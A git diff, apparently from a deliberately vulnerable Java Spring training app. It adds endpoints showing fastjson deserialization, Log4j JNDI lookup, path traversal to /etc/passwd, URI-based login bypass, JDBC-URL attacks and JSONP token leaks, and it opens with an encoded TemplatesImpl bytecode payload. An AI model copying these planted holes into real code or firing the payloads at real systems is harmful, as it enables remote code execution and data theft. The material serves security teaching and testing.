+        String payload = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\", \"_bytecodes\": [\"yv66vgAAADEAOAoAAwAiBwA2BwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJDbGFzc2VzAQAzTG1lL2xpZ2h0bGVzcy9mYXN0anNvbi9HYWRnZXRzJFN0dWJUcmFuc2xldFBheWxvYWQ7AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHACcBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAAhFeHAuamF2YQwACgALBwAoAQAxbWUvbGlnaHRsZXNzL2Zhc3Rqc29uL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAHW1lL2xpZ2h0bGVzcy9mYXN0anNvbi9HYWRnZXRzAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAKgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMACwALQoAKwAuAQASb3BlbiAtYSBDYWxjdWxhdG9yCAAwAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAMgAzCgArADQBAA9saWdodGxlc3MvcHduZXIBABFMbGlnaHRsZXNzL3B3bmVyOwAhAAIAAwABAAQAAQAaAAUABgABAAcAAAACAAgABAABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAADwADgAAAAwAAQAAAAUADwA3AAAAAQATABQAAgAMAAAAPwAAAAMAAAABsQAAAAIADQAAAAYAAQAAAD8ADgAAACAAAwAAAAEADwA3AAAAAAABABUAFgABAAAAAQAXABgAAgAZAAAABAABABoAAQATABsAAgAMAAAASQAAAAQAAAABsQAAAAIADQAAAAYAAQAAAEIADgAAACoABAAAAAEADwA3AAAAAAABABUAFgABAAAAAQAcAB0AAgAAAAEAHgAfAAMAGQAAAAQAAQAaAAgAKQALAAEADAAAABsAAwACAAAAD6cAAwFMuAAvEjG2ADVXsQAAAAAAAgAgAAAAAgAhABEAAAAKAAEAAgAjABAACQ==\"], \"_name\": \"lightless\", \"_tfactory\": { }, \"_outputProperties\":{ }}";
+        JSON.parseObject(payload, Feature.SupportNonPublicField);
     }
 }
diff --git a/src/main/java/org/joychou/controller/FileUpload.java b/src/main/java/org/joychou/controller/FileUpload.java
index 947b9496..a1858a12 100644
--- a/src/main/java/org/joychou/controller/FileUpload.java
+++ b/src/main/java/org/joychou/controller/FileUpload.java
@@ -1,36 +1,52 @@
 package org.joychou.controller;
 
+import com.fasterxml.uuid.Generators;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
 import org.springframework.stereotype.Controller;
-import org.springframework.web.bind.annotation.GetMapping;
-import org.springframework.web.bind.annotation.PostMapping;
-import org.springframework.web.bind.annotation.RequestMapping;
-import org.springframework.web.bind.annotation.RequestParam;
+import org.springframework.web.bind.annotation.*;
 import org.springframework.web.multipart.MultipartFile;
 import org.springframework.web.servlet.mvc.support.RedirectAttributes;
 
+import javax.imageio.ImageIO;
+import java.awt.image.BufferedImage;
+import java.io.File;
+import java.io.FileOutputStream;
 import java.io.IOException;
 import java.nio.file.Files;
 import java.nio.file.Path;
 import java.nio.file.Paths;
+import java.util.UUID;
+
+import org.joychou.security.SecurityUtil;
+
 
 /**
- * @author: JoyChou (joychou@joychou.org)
- * @date:   2018.08.15
- * @desc:   Java file upload
+ * File upload.
+ *
+ * @author JoyChou @ 2018-08-15
  */
-
 @Controller
 @RequestMapping("/file")
 public class FileUpload {
 
     // Save the uploaded file to this folder
-    private static String UPLOADED_FOLDER = "/tmp/";
+    private static final String UPLOADED_FOLDER = "/tmp/";
+    private final Logger logger = LoggerFactory.getLogger(this.getClass());
+    private static String randomFilePath = "";
 
-    @GetMapping("/")
+    // uplaod any file
+    @GetMapping("/any")
     public String index() {
         return "upload"; // return upload.html page
     }
 
+    // only allow to upload pictures
+    @GetMapping("/pic")
+    public String uploadPic() {
+        return "uploadPic"; // return uploadPic.html page
+    }
+
     @PostMapping("/upload")
     public String singleFileUpload(@RequestParam("file") MultipartFile file,
                                    RedirectAttributes redirectAttributes) {
@@ -51,8 +67,7 @@ public String singleFileUpload(@RequestParam("file") MultipartFile file,
 
         } catch (IOException e) {
             redirectAttributes.addFlashAttribute("message", "upload failed");
-            e.printStackTrace();
-            return "uploadStatus";
+            logger.error(e.toString());
         }
 
         return "redirect:/file/status";
@@ -63,4 +78,121 @@ public String uploadStatus() {
         return "uploadStatus";
     }
 
-}
+    // only upload picture
+    @PostMapping("/upload/picture")
+    @ResponseBody
+    public String uploadPicture(@RequestParam("file") MultipartFile multifile) throws Exception {
+        if (multifile.isEmpty()) {
+            return "Please select a file to upload";
+        }
+
+        String fileName = multifile.getOriginalFilename();
+        String Suffix = fileName.substring(fileName.lastIndexOf(".")); // 获取文件后缀名
+        String mimeType = multifile.getContentType(); // 获取MIME类型
+        String filePath = UPLOADED_FOLDER + fileName;
+        File excelFile = convert(multifile);
+
+
+        // 判断文件后缀名是否在白名单内  校验1
+        String[] picSuffixList = {".jpg", ".png", ".jpeg", ".gif", ".bmp", ".ico"};
+        boolean suffixFlag = false;
+        for (String white_suffix : picSuffixList) {
+            if (Suffix.toLowerCase().equals(white_suffix)) {
+                suffixFlag = true;
+                break;
+            }
+        }
+        if (!suffixFlag) {
+            logger.error("[-] Suffix error: " + Suffix);
+            deleteFile(filePath);
+            return "Upload failed. Illeagl picture.";
+        }
+
+
+        // 判断MIME类型是否在黑名单内 校验2
+        String[] mimeTypeBlackList = {
+                "text/html",
+                "text/javascript",
+                "application/javascript",
+                "application/ecmascript",
+                "text/xml",
+                "application/xml"
+        };
+        for (String blackMimeType : mimeTypeBlackList) {
+            // 用contains是为了防止text/html;charset=UTF-8绕过
+            if (SecurityUtil.replaceSpecialStr(mimeType).toLowerCase().contains(blackMimeType)) {
+                logger.error("[-] Mime type error: " + mimeType);
+                deleteFile(filePath);
+                return "Upload failed. Illeagl picture.";
+            }
+        }
+
+        // 判断文件内容是否是图片 校验3
+        boolean isImageFlag = isImage(excelFile);
+        deleteFile(randomFilePath);
+
+        if (!isImageFlag) {
+            logger.error("[-] File is not Image");
+            deleteFile(filePath);
+            return "Upload failed. Illeagl picture.";
+        }
+
+
+        try {
+            // Get the file and save it somewhere
+            byte[] bytes = multifile.getBytes();
+            Path path = Paths.get(UPLOADED_FOLDER + multifile.getOriginalFilename());
+            Files.write(path, bytes);
+        } catch (IOException e) {
+            logger.error(e.toString());
+            deleteFile(filePath);
+            return "Upload failed";
+        }
+
+        logger.info("[+] Safe file. Suffix: {}, MIME: {}", Suffix, mimeType);
+        logger.info("[+] Successfully uploaded {}", filePath);
+        return String.format("You successfully uploaded '%s'", filePath);
+    }
+
+    private void deleteFile(String filePath) {
+        File delFile = new File(filePath);
+        if(delFile.isFile() && delFile.exists()) {
+            if (delFile.delete()) {
+                logger.info("[+] " + filePath + " delete successfully!");
+                return;
+            }
+        }
+        logger.info(filePath + " delete failed!");
+    }
+
+    /**
+     * 为了使用ImageIO.read()
+     *
+     * 不建议使用transferTo,因为原始的MultipartFile会被覆盖
+     * https://stackoverflow.com/questions/24339990/how-to-convert-a-multipart-file-to-file
+     */
+    private File convert(MultipartFile multiFile) throws Exception {
+        String fileName = multiFile.getOriginalFilename();
+        String suffix = fileName.substring(fileName.lastIndexOf("."));
+        UUID uuid = Generators.timeBasedGenerator().generate();
+        randomFilePath = UPLOADED_FOLDER + uuid + suffix;
+        // 随机生成一个同后缀名的文件
+        File convFile = new File(randomFilePath);
+        boolean ret = convFile.createNewFile();
+        if (!ret) {
+            return null;
+        }
+        FileOutputStream fos = new FileOutputStream(convFile);
+        fos.write(multiFile.getBytes());
+        fos.close();
+        return convFile;
+    }
+
+    /**
+     * Check if the file is a picture.
+     */
+    private static boolean isImage(File file) throws IOException {
+        BufferedImage bi = ImageIO.read(file);
+        return bi != null;
+    }
+}
\ No newline at end of file
diff --git a/src/main/java/org/joychou/controller/GetRequestURI.java b/src/main/java/org/joychou/controller/GetRequestURI.java
new file mode 100644
index 00000000..e500b980
--- /dev/null
+++ b/src/main/java/org/joychou/controller/GetRequestURI.java
@@ -0,0 +1,51 @@
+package org.joychou.controller;
+
+
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+import org.springframework.util.AntPathMatcher;
+import org.springframework.util.PathMatcher;
+import org.springframework.web.bind.annotation.GetMapping;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.RestController;
+
+import javax.servlet.http.HttpServletRequest;
+
+/**
+ * The difference between getRequestURI and getServletPath.
+ * 由于Spring Security的<code>antMatchers("/css/**", "/js/**")</code>未使用getRequestURI,所以登录不会被绕过。
+ * <p>
+ * Details: https://joychou.org/web/security-of-getRequestURI.html
+ * <p>
+ * Poc:
+ * http://localhost:8080/css/%2e%2e/exclued/vuln
+ * http://localhost:8080/css/..;/exclued/vuln
+ * http://localhost:8080/css/..;bypasswaf/exclued/vuln
+ *
+ * @author JoyChou @2020-03-28
+ */
+
+@RestController
+@RequestMapping("uri")
+public class GetRequestURI {
+
+    private final Logger logger = LoggerFactory.getLogger(this.getClass());
+
+    @GetMapping(value = "/exclued/vuln")
+    public String exclued(HttpServletRequest request) {
+
+        String[] excluedPath = {"/css/**", "/js/**"};
+        String uri = request.getRequestURI(); // Security: request.getServletPath()
+        PathMatcher matcher = new AntPathMatcher();
+
+        logger.info("getRequestURI: " + uri);
+        logger.info("getServletPath: " + request.getServletPath());
+
+        for (String path : excluedPath) {
+            if (matcher.match(path, uri)) {
+                return "You have bypassed the login page.";
+            }
+        }
+        return "This is a login page >..<";
+    }
+}
diff --git a/src/main/java/org/joychou/controller/IPForge.java b/src/main/java/org/joychou/controller/IPForge.java
index 5874ffc3..9950e766 100644
--- a/src/main/java/org/joychou/controller/IPForge.java
+++ b/src/main/java/org/joychou/controller/IPForge.java
@@ -1,25 +1,23 @@
 package org.joychou.controller;
 
 import org.apache.commons.lang.StringUtils;
-import org.springframework.stereotype.Controller;
 import org.springframework.web.bind.annotation.RequestMapping;
 import org.springframework.web.bind.annotation.ResponseBody;
+import org.springframework.web.bind.annotation.RestController;
 
 import javax.servlet.http.HttpServletRequest;
 
 /**
- * @author: JoyChou (joychou@joychou.org)
- * @date:   2017.12.29
- * @desc:   Java获取IP安全代码
- * @detail: 关于获取IP不安全代码,详情可查看https://joychou.org/web/how-to-get-real-ip.html
+ * Java get real ip. More details: https://joychou.org/web/how-to-get-real-ip.html
+ *
+ * @author JoyChou @ 2017-12-29
  */
-
-@Controller
+@RestController
 @RequestMapping("/ip")
 public class IPForge {
+
     // no any proxy
     @RequestMapping("/noproxy")
-    @ResponseBody
     public static String noProxy(HttpServletRequest request) {
         return request.getRemoteAddr();
     }
@@ -36,7 +34,7 @@ public static String proxy(HttpServletRequest request) {
         String ip = request.getHeader("X-Real-IP");
         if (StringUtils.isNotBlank(ip)) {
             return ip;
-        }else {
+        } else {
             String remoteAddr = request.getRemoteAddr();
             if (StringUtils.isNotBlank(remoteAddr)) {
                 return remoteAddr;
diff --git a/src/main/java/org/joychou/controller/Index.java b/src/main/java/org/joychou/controller/Index.java
index a8ebd2ab..df922e7d 100644
--- a/src/main/java/org/joychou/controller/Index.java
+++ b/src/main/java/org/joychou/controller/Index.java
@@ -2,31 +2,51 @@
 
 
 import com.alibaba.fastjson.JSON;
+import org.apache.catalina.util.ServerInfo;
 import org.springframework.stereotype.Controller;
+import org.springframework.ui.Model;
 import org.springframework.web.bind.annotation.RequestMapping;
 import org.springframework.web.bind.annotation.ResponseBody;
 
+import javax.servlet.http.HttpServletRequest;
 import java.util.HashMap;
 import java.util.Map;
 
 
 /**
- * @author: JoyChou (joychou@joychou.org)
- * @date:   2018.05.28
- * @desc:   Index Page
+ * Index page
+ *
+ * @author JoyChou @2018-05-28
  */
-
 @Controller
 public class Index {
-    @RequestMapping("/")
+
+    @RequestMapping("/appInfo")
     @ResponseBody
-    public static String index() {
-        Map m = new HashMap();
-        m.put("app_name", "java_vul_code");
+    public static String appInfo(HttpServletRequest request) {
+        String username = request.getUserPrincipal().getName();
+        Map<String, String> m = new HashMap<>();
+
+        m.put("tomcat_version", ServerInfo.getServerInfo());
+        m.put("username", username);
+        m.put("login", "success");
+        m.put("app_name", "java security code");
         m.put("java_version", System.getProperty("java.version"));
         m.put("fastjson_version", JSON.VERSION);
 
         // covert map to string
         return JSON.toJSONString(m);
     }
+
+    @RequestMapping("/")
+    public String redirect() {
+        return "redirect:/index";
+    }
+
+    @RequestMapping("/index")
+    public static String index(Model model, HttpServletRequest request) {
+        String username = request.getUserPrincipal().getName();
+        model.addAttribute("user", username);
+        return "index";
+    }
 }
diff --git a/src/main/java/org/joychou/controller/JSONP.java b/src/main/java/org/joychou/controller/JSONP.java
deleted file mode 100644
index 6913e903..00000000
--- a/src/main/java/org/joychou/controller/JSONP.java
+++ /dev/null
@@ -1,50 +0,0 @@
-package org.joychou.controller;
-
-import org.joychou.utils.Security;
-import org.springframework.stereotype.Controller;
-import org.springframework.web.bind.annotation.*;
-import javax.servlet.http.HttpServletRequest;
-import javax.servlet.http.HttpServletResponse;
-
-
-/**
- * @author  JoyChou
- * @date    2018年10月24日
- */
-
-@Controller
-@RequestMapping("/jsonp")
-public class JSONP {
-
-    protected static String info = "{\"name\": \"JoyChou\", \"phone\": \"18200001111\"}";
-    protected static String[] urlwhitelist = {"joychou.com", "joychou.me"};
-
-
-    // http://localhost:8080/jsonp/referer?callback=test
-    @RequestMapping("/referer")
-    @ResponseBody
-    private static String referer(HttpServletRequest request, HttpServletResponse response) {
-        // JSONP的跨域设置
-        response.setHeader("Access-Control-Allow-Origin", "*");
-        String callback = request.getParameter("callback");
-        return callback + "(" + info + ")";
-    }
-
-
-    // http://localhost:8080/jsonp/sec?callback=test
-    @RequestMapping("/sec")
-    @ResponseBody
-    private static String sec(HttpServletRequest request, HttpServletResponse response) {
-        // JSONP的跨域设置
-        response.setHeader("Access-Control-Allow-Origin", "*");
-        String referer = request.getHeader("referer");
-        Security sec = new Security();
-        if (!sec.checkSafeUrl(referer, urlwhitelist)) {
-            return "Referer is not safe.";
-        }
-        String callback = request.getParameter("callback");
-        return callback + "(" + info + ")";
-    }
-
-
-}
\ No newline at end of file
diff --git a/src/main/java/org/joychou/controller/Jdbc.java b/src/main/java/org/joychou/controller/Jdbc.java
new file mode 100644
index 00000000..79154c1e
--- /dev/null
+++ b/src/main/java/org/joychou/controller/Jdbc.java
@@ -0,0 +1,36 @@
+package org.joychou.controller;
+
+import lombok.extern.slf4j.Slf4j;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.RestController;
+
+import java.sql.DriverManager;
+
+/**
+ * Jdbc Attack @2023.04
+ */
+@Slf4j
+@RestController
+@RequestMapping("/jdbc")
+public class Jdbc {
+
+    /**
+     * <a href="https://github.com/JoyChou93/java-sec-code/wiki/CVE-2022-21724">CVE-2022-21724</a>
+     */
+    @RequestMapping("/postgresql")
+    public void postgresql(String jdbcUrlBase64) throws Exception{
+        byte[] b = java.util.Base64.getDecoder().decode(jdbcUrlBase64);
+        String jdbcUrl = new String(b);
+        log.info(jdbcUrl);
+        DriverManager.getConnection(jdbcUrl);
+    }
+
+    @RequestMapping("/db2")
+    public void db2(String jdbcUrlBase64) throws Exception{
+        Class.forName("com.ibm.db2.jcc.DB2Driver");
+        byte[] b = java.util.Base64.getDecoder().decode(jdbcUrlBase64);
+        String jdbcUrl = new String(b);
+        log.info(jdbcUrl);
+        DriverManager.getConnection(jdbcUrl);
+    }
+}
diff --git a/src/main/java/org/joychou/controller/Jsonp.java b/src/main/java/org/joychou/controller/Jsonp.java
new file mode 100644
index 00000000..eb9381e3
--- /dev/null
+++ b/src/main/java/org/joychou/controller/Jsonp.java
@@ -0,0 +1,141 @@
+package org.joychou.controller;
+
+import com.alibaba.fastjson.JSON;
+import com.alibaba.fastjson.JSONObject;
+
+import com.alibaba.fastjson.JSONPObject;
+import lombok.extern.slf4j.Slf4j;
+import org.apache.commons.lang.StringUtils;
+import org.joychou.util.LoginUtils;
+import org.joychou.security.SecurityUtil;
+import org.springframework.beans.factory.annotation.Autowired;
+import org.springframework.http.MediaType;
+import org.springframework.security.web.csrf.CookieCsrfTokenRepository;
+import org.springframework.security.web.csrf.CsrfToken;
+import org.springframework.web.bind.annotation.*;
+import org.springframework.web.servlet.ModelAndView;
+import org.springframework.web.servlet.view.json.MappingJackson2JsonView;
+import org.joychou.config.WebConfig;
+import org.joychou.util.WebUtils;
+
+import javax.servlet.http.HttpServletRequest;
+import java.security.Principal;
+
+
+/**
+ * @author JoyChou (joychou@joychou.org) @ 2018.10.24
+ * https://github.com/JoyChou93/java-sec-code/wiki/JSONP
+ */
+
+@Slf4j
+@RestController
+@RequestMapping("/jsonp")
+public class Jsonp {
+
+    private String callback = WebConfig.getBusinessCallback();
+
+    @Autowired
+    CookieCsrfTokenRepository cookieCsrfTokenRepository;
+    /**
+     * Set the response content-type to application/javascript.
+     * <p>
+     * http://localhost:8080/jsonp/vuln/referer?callback_=test
+     */
+    @RequestMapping(value = "/vuln/referer", produces = "application/javascript")
+    public String referer(HttpServletRequest request) {
+        String callback = request.getParameter(this.callback);
+        return WebUtils.json2Jsonp(callback, LoginUtils.getUserInfo2JsonStr(request));
+    }
+
+    /**
+     * Direct access does not check Referer, non-direct access check referer.
+     * Developer like to do jsonp testing like this.
+     * <p>
+     * http://localhost:8080/jsonp/vuln/emptyReferer?callback_=test
+     */
+    @RequestMapping(value = "/vuln/emptyReferer", produces = "application/javascript")
+    public String emptyReferer(HttpServletRequest request) {
+        String referer = request.getHeader("referer");
+
+        if (null != referer && SecurityUtil.checkURL(referer) == null) {
+            return "error";
+        }
+        String callback = request.getParameter(this.callback);
+        return WebUtils.json2Jsonp(callback, LoginUtils.getUserInfo2JsonStr(request));
+    }
+
+    /**
+     * Adding callback or _callback on parameter can automatically return jsonp data.
+     * http://localhost:8080/jsonp/object2jsonp?callback=test
+     * http://localhost:8080/jsonp/object2jsonp?_callback=test
+     *
+     * @return Only return object, AbstractJsonpResponseBodyAdvice can be used successfully.
+     * Such as JSONOjbect or JavaBean. String type cannot be used.
+     */
+    @RequestMapping(value = "/object2jsonp", produces = MediaType.APPLICATION_JSON_VALUE)
+    public JSONObject advice(HttpServletRequest request) {
+        return JSON.parseObject(LoginUtils.getUserInfo2JsonStr(request));
+    }
+
+
+    /**
+     * http://localhost:8080/jsonp/vuln/mappingJackson2JsonView?callback=test
+     * Reference: https://p0sec.net/index.php/archives/122/ from p0
+     * Affected version:  java-sec-code test case version: 4.3.6
+     * - Spring Framework 5.0 to 5.0.6
+     * - Spring Framework 4.1 to 4.3.17
+     */
+    @RequestMapping(value = "/vuln/mappingJackson2JsonView", produces = MediaType.APPLICATION_JSON_VALUE)
+    public ModelAndView mappingJackson2JsonView(HttpServletRequest req) {
+        ModelAndView view = new ModelAndView(new MappingJackson2JsonView());
+        Principal principal = req.getUserPrincipal();
+        view.addObject("username", principal.getName());
+        return view;
+    }
+
+
+    /**
+     * Safe code.
+     * http://localhost:8080/jsonp/sec?callback_=test
+     */
+    @RequestMapping(value = "/sec/checkReferer", produces = "application/javascript")
+    public String safecode(HttpServletRequest request) {
+        String referer = request.getHeader("referer");
+
+        if (SecurityUtil.checkURL(referer) == null) {
+            return "error";
+        }
+        String callback = request.getParameter(this.callback);
+        return WebUtils.json2Jsonp(callback, LoginUtils.getUserInfo2JsonStr(request));
+    }
+
+    /**
+     * http://localhost:8080/jsonp/getToken?fastjsonpCallback=aa
+     *
+     * object to jsonp
+     */
+    @GetMapping("/getToken")
+    public CsrfToken getCsrfToken1(CsrfToken token) {
+        return token;
+    }
+
+    /**
+     * http://localhost:8080/jsonp/fastjsonp/getToken?fastjsonpCallback=aa
+     *
+     * fastjsonp to jsonp
+     */
+    @GetMapping(value = "/fastjsonp/getToken", produces = "application/javascript")
+    public String getCsrfToken2(HttpServletRequest request) {
+        CsrfToken csrfToken = cookieCsrfTokenRepository.loadToken(request); // get csrf token
+
+        String callback = request.getParameter("fastjsonpCallback");
+        if (StringUtils.isNotBlank(callback)) {
+            JSONPObject jsonpObj = new JSONPObject(callback);
+            jsonpObj.addParameter(csrfToken);
+            return jsonpObj.toString();
+        } else {
+            return csrfToken.toString();
+        }
+    }
+
+}
\ No newline at end of file
diff --git a/src/main/java/org/joychou/controller/Jwt.java b/src/main/java/org/joychou/controller/Jwt.java
new file mode 100644
index 00000000..f3e4c126
--- /dev/null
+++ b/src/main/java/org/joychou/controller/Jwt.java
@@ -0,0 +1,64 @@
+package org.joychou.controller;
+
+import lombok.extern.slf4j.Slf4j;
+import org.joychou.util.CookieUtils;
+import org.joychou.util.JwtUtils;
+import org.springframework.web.bind.annotation.CookieValue;
+import org.springframework.web.bind.annotation.GetMapping;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.RestController;
+
+import javax.servlet.http.Cookie;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+
+
+/**
+ *
+ */
+@Slf4j
+@RestController
+@RequestMapping("/jwt")
+public class Jwt {
+
+    private static final String COOKIE_NAME = "USER_COOKIE";
+    /**
+     * http://localhost:8080/jwt/createToken
+     * Create jwt token and set token to cookies.
+     *
+     * @author JoyChou 2022-09-20
+     */
+    @GetMapping("/createToken")
+    public String createToken(HttpServletResponse response, HttpServletRequest request) {
+        String loginUser = request.getUserPrincipal().getName();
+        log.info("Current login user is " + loginUser);
+
+        if (!CookieUtils.deleteCookie(response, COOKIE_NAME)){
+            return String.format("%s cookie delete failed", COOKIE_NAME);
+        }
+        String token = JwtUtils.generateTokenByJavaJwt(loginUser);
+        Cookie cookie = new Cookie(COOKIE_NAME, token);
+
+        cookie.setMaxAge(86400);    // 1 DAY
+        cookie.setPath("/");
+        cookie.setSecure(true);
+        response.addCookie(cookie);
+        return "Add jwt token cookie successfully. Cookie name is USER_COOKIE";
+    }
+
+
+    /**
+     * http://localhost:8080/jwt/getName
+     * Get nickname from USER_COOKIE
+     *
+     * @author JoyChou 2022-09-20
+     * @param user_cookie cookie
+     * @return nickname
+     */
+    @GetMapping("/getName")
+    public String getNickname(@CookieValue(COOKIE_NAME) String user_cookie) {
+        String nickname = JwtUtils.getNicknameByJavaJwt(user_cookie);
+        return "Current jwt user is " + nickname;
+    }
+
+}
diff --git a/src/main/java/org/joychou/controller/Log4j.java b/src/main/java/org/joychou/controller/Log4j.java
new file mode 100644
index 00000000..b2ea4060
--- /dev/null
+++ b/src/main/java/org/joychou/controller/Log4j.java
@@ -0,0 +1,29 @@
+package org.joychou.controller;
+
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.RestController;
+
+@RestController
+public class Log4j {
+
+    private static final Logger logger = LogManager.getLogger("Log4j");
+
+    /**
+     * http://localhost:8080/log4j?token=${jndi:ldap://127.0.0.1:1389/0iun75}
+     * Default: error/fatal/off
+     * Fix: Update log4j to lastet version.
+     */
+    @RequestMapping(value = "/log4j")
+    public String log4j(String token) {
+        logger.error(token);
+        return token;
+    }
+
+    public static void main(String[] args) {
+        String poc = "${jndi:ldap://127.0.0.1:1389/0iun75}";
+        logger.error(poc);
+    }
+
+}
diff --git a/src/main/java/org/joychou/controller/Login.java b/src/main/java/org/joychou/controller/Login.java
new file mode 100644
index 00000000..16769e4a
--- /dev/null
+++ b/src/main/java/org/joychou/controller/Login.java
@@ -0,0 +1,54 @@
+package org.joychou.controller;
+
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+import org.springframework.security.core.Authentication;
+import org.springframework.security.core.context.SecurityContextHolder;
+import org.springframework.security.web.authentication.logout.SecurityContextLogoutHandler;
+import org.springframework.stereotype.Controller;
+import org.springframework.web.bind.annotation.GetMapping;
+import org.springframework.web.bind.annotation.RequestMapping;
+
+import javax.servlet.http.Cookie;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+
+
+@Controller
+public class Login {
+
+    protected final Logger logger = LoggerFactory.getLogger(this.getClass());
+
+    @RequestMapping("/login")
+    public String login() {
+        return "login";
+    }
+
+    @GetMapping("/logout")
+    public String logoutPage(HttpServletRequest request, HttpServletResponse response) {
+
+        String username = request.getUserPrincipal().getName();
+
+        Authentication auth = SecurityContextHolder.getContext().getAuthentication();
+        if (auth != null) {
+            new SecurityContextLogoutHandler().logout(request, response, auth);
+        }
+
+        String[] deleteCookieKey = {"JSESSIONID", "remember-me"}; // delete cookie
+        for (String key : deleteCookieKey) {
+            Cookie cookie = new Cookie(key, null);
+            cookie.setMaxAge(0);
+            cookie.setPath("/");
+            response.addCookie(cookie);
+        }
+
+        if (null == request.getUserPrincipal()) {
+            logger.info("USER " + username + " LOGOUT SUCCESS.");
+        } else {
+            logger.info("User " + username + " logout failed. Please try again.");
+        }
+
+        return "redirect:/login?logout";
+    }
+
+}
diff --git a/src/main/java/org/joychou/controller/PathTraversal.java b/src/main/java/org/joychou/controller/PathTraversal.java
new file mode 100644
index 00000000..1976b01b
--- /dev/null
+++ b/src/main/java/org/joychou/controller/PathTraversal.java
@@ -0,0 +1,56 @@
+package org.joychou.controller;
+
+import org.apache.commons.codec.binary.Base64;
+import org.joychou.security.SecurityUtil;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+import org.springframework.web.bind.annotation.GetMapping;
+import org.springframework.web.bind.annotation.RestController;
+
+import java.io.File;
+import java.io.IOException;
+import java.nio.charset.StandardCharsets;
+import java.nio.file.Files;
+import java.nio.file.Paths;
+
+@RestController
+public class PathTraversal {
+
+    protected final Logger logger = LoggerFactory.getLogger(this.getClass());
+
+    /**
+     * http://localhost:8080/path_traversal/vul?filepath=../../../../../etc/passwd
+     */
+    @GetMapping("/path_traversal/vul")
+    public String getImage(String filepath) throws IOException {
+        return getImgBase64(filepath);
+    }
+
+    @GetMapping("/path_traversal/sec")
+    public String getImageSec(String filepath) throws IOException {
+        if (SecurityUtil.pathFilter(filepath) == null) {
+            logger.info("Illegal file path: " + filepath);
+            return "Bad boy. Illegal file path.";
+        }
+        return getImgBase64(filepath);
+    }
+
+    private String getImgBase64(String imgFile) throws IOException {
+
+        logger.info("Working directory: " + System.getProperty("user.dir"));
+        logger.info("File path: " + imgFile);
+
+        File f = new File(imgFile);
+        if (f.exists() && !f.isDirectory()) {
+            byte[] data = Files.readAllBytes(Paths.get(imgFile));
+            return new String(Base64.encodeBase64(data));
+        } else {
+            return "File doesn't exist or is not a file.";
+        }
+    }
+
+    public static void main(String[] argv) throws IOException {
+        String aa = new String(Files.readAllBytes(Paths.get("pom.xml")), StandardCharsets.UTF_8);
+        System.out.println(aa);
+    }
+}
\ No newline at end of file
diff --git a/src/main/java/org/joychou/controller/QLExpress.java b/src/main/java/org/joychou/controller/QLExpress.java
new file mode 100644
index 00000000..663589cd
--- /dev/null
+++ b/src/main/java/org/joychou/controller/QLExpress.java
@@ -0,0 +1,44 @@
+package org.joychou.controller;
+
+import com.ql.util.express.DefaultContext;
+import com.ql.util.express.ExpressRunner;
+import com.ql.util.express.config.QLExpressRunStrategy;
+import org.joychou.util.WebUtils;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.RestController;
+
+import javax.servlet.http.HttpServletRequest;
+
+@RestController(value = "/qlexpress")
+public class QLExpress {
+
+    /**
+     * url = 'http://sb.dog:8888/';
